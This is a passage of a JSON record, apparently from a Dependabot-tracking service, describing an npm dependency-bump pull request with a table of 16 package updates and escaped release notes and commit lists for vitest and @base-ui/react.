href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11599\"\u003e#11599\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a3ae8961f6f2a8abdc89015b6fd0b3aa\"\u003e\u003ccode\u003e6498b66\u003c/code\u003e\u003c/a\u003e fix(browser): wait 30s for the browser to close (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11601\"\u003e#11601\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2b3c0bc84982d374094379139e380791\"\u003e\u003ccode\u003ef161e6d\u003c/code\u003e\u003c/a\u003e fix(browser): drop late connections of closed sessions (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11600\"\u003e#11600\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6c6aa75481bffe5880b5c4e35ea67927\"\u003e\u003ccode\u003efe86a64\u003c/code\u003e\u003c/a\u003e fix: skip builtin loading in async leak detector (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11598\"\u003e#11598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff0734cf476e30186a83aebe6771aa330\"\u003e\u003ccode\u003e6ae8e89\u003c/code\u003e\u003c/a\u003e fix(reporter): end reason \u003ccode\u003e'failed'\u003c/code\u003e on worker crash (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11568\"\u003e#11568\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v5.0.5/packages/vitest\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n","html_url":"https://github.com/dytsou/shorten-url/pull/117","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/dytsou%2Fshorten-url/issues/117","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/117/packages"}},{"old_version":"5.0.3","new_version":"5.0.5","update_type":"patch","path":null,"pr_created_at":"2026-10-23T08:16:26.000Z","version_change":"5.0.3 → 5.0.5","issue":{"uuid":"5994372331","node_id":"PR_kwDOUxTS2M8AAAABKNMCwA","number":35,"state":"open","title":"chore(deps): bump the minor-and-patch group across 1 directory with 16 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-10-23T08:16:26.000Z","updated_at":"2026-10-23T08:16:57.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"minor-and-patch","update_count":16,"packages":[{"name":"@base-ui/react","old_version":"1.8.0","new_version":"1.9.0","repository_url":"https://github.com/mui/base-ui"},{"name":"cn","old_version":"0.4.0","new_version":"0.5.0","repository_url":"https://github.com/shadcn-ui/cn"},{"name":"lucide-react","old_version":"1.52.0","new_version":"1.60.0","repository_url":"https://github.com/lucide-icons/lucide"},{"name":"react","old_version":"19.3.0","new_version":"19.3.1","repository_url":"https://github.com/react/react"},{"name":"react-dom","old_version":"19.3.0","new_version":"19.3.1","repository_url":"https://github.com/react/react"},{"name":"react-router","old_version":"8.4.0","new_version":"8.5.0","repository_url":"https://github.com/remix-run/react-router"},{"name":"shadcn","old_version":"4.21.3","new_version":"4.22.1","repository_url":"https://github.com/shadcn-ui/ui"},{"name":"@testing-library/user-event","old_version":"14.6.7","new_version":"14.6.8","repository_url":"https://github.com/testing-library/user-event"},{"name":"@types/node","old_version":"24.19.1","new_version":"24.19.2","repository_url":"https://github.com/DefinitelyTyped/DefinitelyTyped"},{"name":"eslint","old_version":"10.12.0","new_version":"10.13.0","repository_url":"https://github.com/eslint/eslint"},{"name":"jsdom","old_version":"30.1.2","new_version":"30.1.3","repository_url":"https://github.com/jsdom/jsdom"},{"name":"prettier","old_version":"3.9.9","new_version":"3.9.10","repository_url":"https://github.com/prettier/prettier"},{"name":"rolldown","old_version":"1.2.12","new_version":"1.2.14","repository_url":"https://github.com/rolldown/rolldown"},{"name":"typescript-eslint","old_version":"8.71.1","new_version":"8.72.0","repository_url":"https://github.com/typescript-eslint/typescript-eslint"},{"name":"vite","old_version":"8.3.3","new_version":"8.3.4","repository_url":"https://github.com/vitejs/vite"},{"name":"vitest","old_version":"5.0.3","new_version":"5.0.5","repository_url":"https://github.com/vitest-dev/vitest"}],"path":null,"ecosystem":"npm"},"body":"Bumps the minor-and-patch group with 16 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@base-ui/react](https://github.com/mui/base-ui/tree/HEAD/packages/react) | `1.8.0` | `1.9.0` |\n| [cn](https://github.com/shadcn-ui/cn/tree/HEAD/packages/cn) | `0.4.0` | `0.5.0` |\n| [lucide-react](https://github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react) | `1.52.0` | `1.60.0` |\n| [react](https://github.com/react/react/tree/HEAD/packages/react) | `19.3.0` | `19.3.1` |\n| [react-dom](https://github.com/react/react/tree/HEAD/packages/react-dom) | `19.3.0` | `19.3.1` |\n| [react-router](https://github.com/remix-run/react-router/tree/HEAD/packages/react-router) | `8.4.0` | `8.5.0` |\n| [shadcn](https://github.com/shadcn-ui/ui/tree/HEAD/packages/shadcn) | `4.21.3` | `4.22.1` |\n| [@testing-library/user-event](https://github.com/testing-library/user-event) | `14.6.7` | `14.6.8` |\n| [@types/node](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node) | `24.19.1` | `24.19.2` |\n| [eslint](https://github.com/eslint/eslint) | `10.12.0` | `10.13.0` |\n| [jsdom](https://github.com/jsdom/jsdom) | `30.1.2` | `30.1.3` |\n| [prettier](https://github.com/prettier/prettier) | `3.9.9` | `3.9.10` |\n| [rolldown](https://github.com/rolldown/rolldown/tree/HEAD/packages/rolldown) | `1.2.12` | `1.2.14` |\n| [typescript-eslint](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint) | `8.71.1` | `8.72.0` |\n| [vite](https://github.com/vitejs/vite/tree/HEAD/packages/vite) | `8.3.3` | `8.3.4` |\n| [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest) | `5.0.3` | `5.0.5` |\n\n\nUpdates `@base-ui/react` from 1.8.0 to 1.9.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/mui/base-ui/releases\"\u003e@​base-ui/react's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev1.9.0\u003c/h2\u003e\n\u003ch3\u003eGeneral changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eExport \u003ccode\u003eCssVariables\u003c/code\u003e and \u003ccode\u003eDataAttributes\u003c/code\u003e types (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5243\"\u003e#5243\u003c/a\u003e) by \u003ca href=\"https://github.com/superhooman\"\u003e\u003ccode\u003e@​superhooman\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix stale focused field state (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5345\"\u003e#5345\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix animation waits retaining detached elements (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5719\"\u003e#5719\u003c/a\u003e) by \u003ca href=\"https://github.com/flaviendelangle\"\u003e\u003ccode\u003e@​flaviendelangle\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep item registration in sync when items change under Strict Mode (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5862\"\u003e#5862\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAvoid re-rendering inactive triggers on open and close (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5865\"\u003e#5865\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAccordion\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ccode\u003e\u0026lt;Accordion.Trigger\u0026gt;\u003c/code\u003e's \u003ccode\u003edata-value\u003c/code\u003e and \u003ccode\u003edata-index\u003c/code\u003e attributes (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5705\"\u003e#5705\u003c/a\u003e) by \u003ca href=\"https://github.com/cpruijsen\"\u003e\u003ccode\u003e@​cpruijsen\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eApply the native \u003ccode\u003edisabled\u003c/code\u003e attribute to \u003ccode\u003e\u0026lt;Accordion.Trigger\u0026gt;\u003c/code\u003e when using native buttons (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5607\"\u003e#5607\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eExpand \u003ccode\u003ehiddenUntilFound\u003c/code\u003e panels synchronously on \u003ccode\u003ebeforematch\u003c/code\u003e (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5514\"\u003e#5514\u003c/a\u003e) by \u003ca href=\"https://github.com/aarongarciah\"\u003e\u003ccode\u003e@​aarongarciah\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAlert Dialog\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eDon't associate a programmatically opened popup with a trigger that did not open it (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5641\"\u003e#5641\u003c/a\u003e) by \u003ca href=\"https://github.com/michaldudak\"\u003e\u003ccode\u003e@​michaldudak\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAutocomplete\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ccode\u003eautoHighlight\u003c/code\u003e for asynchronous results (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5818\"\u003e#5818\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ePass the originating event to \u003ccode\u003eonItemHighlighted\u003c/code\u003e. Pointer events may be \u003ccode\u003eMouseEvent\u003c/code\u003e or \u003ccode\u003ePointerEvent\u003c/code\u003e; typing reports the reason \u003ccode\u003enone\u003c/code\u003e (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5838\"\u003e#5838\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDecouple automatic unmounting from \u003ccode\u003eactionsRef\u003c/code\u003e. Call \u003ccode\u003eeventDetails.preventUnmountOnClose()\u003c/code\u003e in \u003ccode\u003eonOpenChange\u003c/code\u003e to opt out of automatic unmounting (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5734\"\u003e#5734\u003c/a\u003e) by \u003ca href=\"https://github.com/michaldudak\"\u003e\u003ccode\u003e@​michaldudak\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCheckbox\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePrefer \u003ccode\u003earia-label\u003c/code\u003e over associated labels (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5787\"\u003e#5787\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCollapsible\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eApply the native \u003ccode\u003edisabled\u003c/code\u003e attribute to \u003ccode\u003e\u0026lt;Collapsible.Trigger\u0026gt;\u003c/code\u003e when using native buttons (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5607\"\u003e#5607\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFinish closing when the render function removes the panel (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5890\"\u003e#5890\u003c/a\u003e) by \u003ca href=\"https://github.com/michaldudak\"\u003e\u003ccode\u003e@​michaldudak\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRestore animations when a removed panel reopens (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5891\"\u003e#5891\u003c/a\u003e) by \u003ca href=\"https://github.com/michaldudak\"\u003e\u003ccode\u003e@​michaldudak\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eExpand \u003ccode\u003ehiddenUntilFound\u003c/code\u003e panels synchronously on \u003ccode\u003ebeforematch\u003c/code\u003e (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5514\"\u003e#5514\u003c/a\u003e) by \u003ca href=\"https://github.com/aarongarciah\"\u003e\u003ccode\u003e@​aarongarciah\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCombobox\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix stale chip focus after returning to the input (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5879\"\u003e#5879\u003c/a\u003e) by \u003ca href=\"https://github.com/mdm317\"\u003e\u003ccode\u003e@​mdm317\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix \u003ccode\u003eautoHighlight\u003c/code\u003e for asynchronous results (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5818\"\u003e#5818\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDecouple automatic unmounting from \u003ccode\u003eactionsRef\u003c/code\u003e. Call \u003ccode\u003eeventDetails.preventUnmountOnClose()\u003c/code\u003e in \u003ccode\u003eonOpenChange\u003c/code\u003e to opt out of automatic unmounting (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5734\"\u003e#5734\u003c/a\u003e) by \u003ca href=\"https://github.com/michaldudak\"\u003e\u003ccode\u003e@​michaldudak\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix label focus in Shadow DOM (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5871\"\u003e#5871\u003c/a\u003e) by \u003ca href=\"https://github.com/lyzno1\"\u003e\u003ccode\u003e@​lyzno1\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ePass the originating event to \u003ccode\u003eonItemHighlighted\u003c/code\u003e. Pointer events may be \u003ccode\u003eMouseEvent\u003c/code\u003e or \u003ccode\u003ePointerEvent\u003c/code\u003e; typing reports the reason \u003ccode\u003enone\u003c/code\u003e (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5838\"\u003e#5838\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eReset typeahead state when closing without moving focus (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5816\"\u003e#5816\u003c/a\u003e) by \u003ca href=\"https://github.com/mdm317\"\u003e\u003ccode\u003e@​mdm317\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAccept readonly arrays for multiple values (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5710\"\u003e#5710\u003c/a\u003e) by \u003ca href=\"https://github.com/MonstraG\"\u003e\u003ccode\u003e@​MonstraG\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eShare item indicator implementation (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5728\"\u003e#5728\u003c/a\u003e) by \u003ca href=\"https://github.com/flaviendelangle\"\u003e\u003ccode\u003e@​flaviendelangle\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eImprove mount performance of large lists (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5819\"\u003e#5819\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eCombine item store subscriptions (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5863\"\u003e#5863\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDialog\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/mui/base-ui/blob/master/CHANGELOG.md\"\u003e@​base-ui/react's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev1.9.0\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003cp\u003e\u003cem\u003eOct 9, 2026\u003c/em\u003e\u003c/p\u003e\n\u003ch3\u003eGeneral changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eExport \u003ccode\u003eCssVariables\u003c/code\u003e and \u003ccode\u003eDataAttributes\u003c/code\u003e types (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5243\"\u003e#5243\u003c/a\u003e) by \u003ca href=\"https://github.com/superhooman\"\u003e\u003ccode\u003e@​superhooman\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix stale focused field state (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5345\"\u003e#5345\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix animation waits retaining detached elements (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5719\"\u003e#5719\u003c/a\u003e) by \u003ca href=\"https://github.com/flaviendelangle\"\u003e\u003ccode\u003e@​flaviendelangle\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep item registration in sync when items change under Strict Mode (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5862\"\u003e#5862\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAvoid re-rendering inactive triggers on open and close (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5865\"\u003e#5865\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAccordion\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ccode\u003e\u0026lt;Accordion.Trigger\u0026gt;\u003c/code\u003e's \u003ccode\u003edata-value\u003c/code\u003e and \u003ccode\u003edata-index\u003c/code\u003e attributes (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5705\"\u003e#5705\u003c/a\u003e) by \u003ca href=\"https://github.com/cpruijsen\"\u003e\u003ccode\u003e@​cpruijsen\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eApply the native \u003ccode\u003edisabled\u003c/code\u003e attribute to \u003ccode\u003e\u0026lt;Accordion.Trigger\u0026gt;\u003c/code\u003e when using native buttons (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5607\"\u003e#5607\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eExpand \u003ccode\u003ehiddenUntilFound\u003c/code\u003e panels synchronously on \u003ccode\u003ebeforematch\u003c/code\u003e (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5514\"\u003e#5514\u003c/a\u003e) by \u003ca href=\"https://github.com/aarongarciah\"\u003e\u003ccode\u003e@​aarongarciah\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAlert Dialog\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eDon't associate a programmatically opened popup with a trigger that did not open it (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5641\"\u003e#5641\u003c/a\u003e) by \u003ca href=\"https://github.com/michaldudak\"\u003e\u003ccode\u003e@​michaldudak\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAutocomplete\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ccode\u003eautoHighlight\u003c/code\u003e for asynchronous results (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5818\"\u003e#5818\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ePass the originating event to \u003ccode\u003eonItemHighlighted\u003c/code\u003e. Pointer events may be \u003ccode\u003eMouseEvent\u003c/code\u003e or \u003ccode\u003ePointerEvent\u003c/code\u003e; typing reports the reason \u003ccode\u003enone\u003c/code\u003e (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5838\"\u003e#5838\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDecouple automatic unmounting from \u003ccode\u003eactionsRef\u003c/code\u003e. Call \u003ccode\u003eeventDetails.preventUnmountOnClose()\u003c/code\u003e in \u003ccode\u003eonOpenChange\u003c/code\u003e to opt out of automatic unmounting (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5734\"\u003e#5734\u003c/a\u003e) by \u003ca href=\"https://github.com/michaldudak\"\u003e\u003ccode\u003e@​michaldudak\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCheckbox\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePrefer \u003ccode\u003earia-label\u003c/code\u003e over associated labels (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5787\"\u003e#5787\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCollapsible\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eApply the native \u003ccode\u003edisabled\u003c/code\u003e attribute to \u003ccode\u003e\u0026lt;Collapsible.Trigger\u0026gt;\u003c/code\u003e when using native buttons (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5607\"\u003e#5607\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFinish closing when the render function removes the panel (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5890\"\u003e#5890\u003c/a\u003e) by \u003ca href=\"https://github.com/michaldudak\"\u003e\u003ccode\u003e@​michaldudak\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRestore animations when a removed panel reopens (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5891\"\u003e#5891\u003c/a\u003e) by \u003ca href=\"https://github.com/michaldudak\"\u003e\u003ccode\u003e@​michaldudak\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eExpand \u003ccode\u003ehiddenUntilFound\u003c/code\u003e panels synchronously on \u003ccode\u003ebeforematch\u003c/code\u003e (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5514\"\u003e#5514\u003c/a\u003e) by \u003ca href=\"https://github.com/aarongarciah\"\u003e\u003ccode\u003e@​aarongarciah\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCombobox\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix stale chip focus after returning to the input (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5879\"\u003e#5879\u003c/a\u003e) by \u003ca href=\"https://github.com/mdm317\"\u003e\u003ccode\u003e@​mdm317\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix \u003ccode\u003eautoHighlight\u003c/code\u003e for asynchronous results (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5818\"\u003e#5818\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDecouple automatic unmounting from \u003ccode\u003eactionsRef\u003c/code\u003e. Call \u003ccode\u003eeventDetails.preventUnmountOnClose()\u003c/code\u003e in \u003ccode\u003eonOpenChange\u003c/code\u003e to opt out of automatic unmounting (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5734\"\u003e#5734\u003c/a\u003e) by \u003ca href=\"https://github.com/michaldudak\"\u003e\u003ccode\u003e@​michaldudak\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix label focus in Shadow DOM (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5871\"\u003e#5871\u003c/a\u003e) by \u003ca href=\"https://github.com/lyzno1\"\u003e\u003ccode\u003e@​lyzno1\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ePass the originating event to \u003ccode\u003eonItemHighlighted\u003c/code\u003e. Pointer events may be \u003ccode\u003eMouseEvent\u003c/code\u003e or \u003ccode\u003ePointerEvent\u003c/code\u003e; typing reports the reason \u003ccode\u003enone\u003c/code\u003e (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5838\"\u003e#5838\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eReset typeahead state when closing without moving focus (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5816\"\u003e#5816\u003c/a\u003e) by \u003ca href=\"https://github.com/mdm317\"\u003e\u003ccode\u003e@​mdm317\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAccept readonly arrays for multiple values (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5710\"\u003e#5710\u003c/a\u003e) by \u003ca href=\"https://github.com/MonstraG\"\u003e\u003ccode\u003e@​MonstraG\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mui/base-ui/commit/ad7ecda5296b0295b41a51ecb01fce6204acd099\"\u003e\u003ccode\u003ead7ecda\u003c/code\u003e\u003c/a\u003e [release] v1.9.0 (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5906\"\u003e#5906\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mui/base-ui/commit/3296de3d4c79435a596c72ad8048d74ecc241ca5\"\u003e\u003ccode\u003e3296de3\u003c/code\u003e\u003c/a\u003e [drawer] Avoid retaining unmounted drawers in DrawerProvider (\u003ca 